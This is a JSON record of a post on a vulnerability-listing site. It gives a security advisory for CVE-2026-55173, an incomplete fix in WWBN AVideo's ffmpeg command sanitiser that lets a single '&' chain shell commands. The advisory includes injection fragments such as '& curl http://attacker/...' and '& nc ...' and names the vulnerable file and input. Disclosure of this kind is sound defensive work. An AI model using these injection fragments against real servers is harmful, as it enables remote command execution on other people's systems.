{"id":14663,"date":"2026-09-04T19:02:07","date_gmt":"2026-09-04T11:02:07","guid":{"rendered":"https:\/\/www.54iter.cn\/?vuln=cve-2026-55173"},"modified":"2026-09-04T19:02:07","modified_gmt":"2026-09-04T11:02:07","slug":"cve-2026-55173","status":"publish","type":"vuln","link":"https:\/\/www.54iter.cn\/?vuln=cve-2026-55173","title":{"rendered":"CVE-2026-55173 [HIGH] &#8211; WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to"},"content":{"rendered":"<p>WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single &amp; (\u00a0the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin\/API\/standAlone\/functions.php) failed to strip $(&#8230;) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, n, r to the denylist character class and a str_replace(&#8216;&amp;&amp;&#8217;, &#8221;, &#8230;), but did not account for the single &amp;. ffmpeg.json.php builds the command from _decryptString(getInput(&#8216;codeToExecEncrypted&#8217;)). This is the same threat model the original advisory accepted (\u201can attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server\u201d) and the same CVSS basis (AV:N\/AC:H\/PR:N). Multiple &amp;-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the &gt; strip, but command execution (e.g. &amp; curl http:\/\/attacker\/&#8230;, &amp; nc &#8230;, dropping\/running a file) is not. This issue has been patched by this commit: https:\/\/github.com\/WWBN\/AVideo\/commit\/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single<\/p>\n","protected":false},"template":"","meta":[],"categories":[],"tags":[],"class_list":["post-14663","vuln","type-vuln","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln\/14663","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/vuln"}],"about":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=\/wp\/v2\/types\/vuln"}],"wp:attachment":[{"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=14663"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=14663"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.54iter.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=14663"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}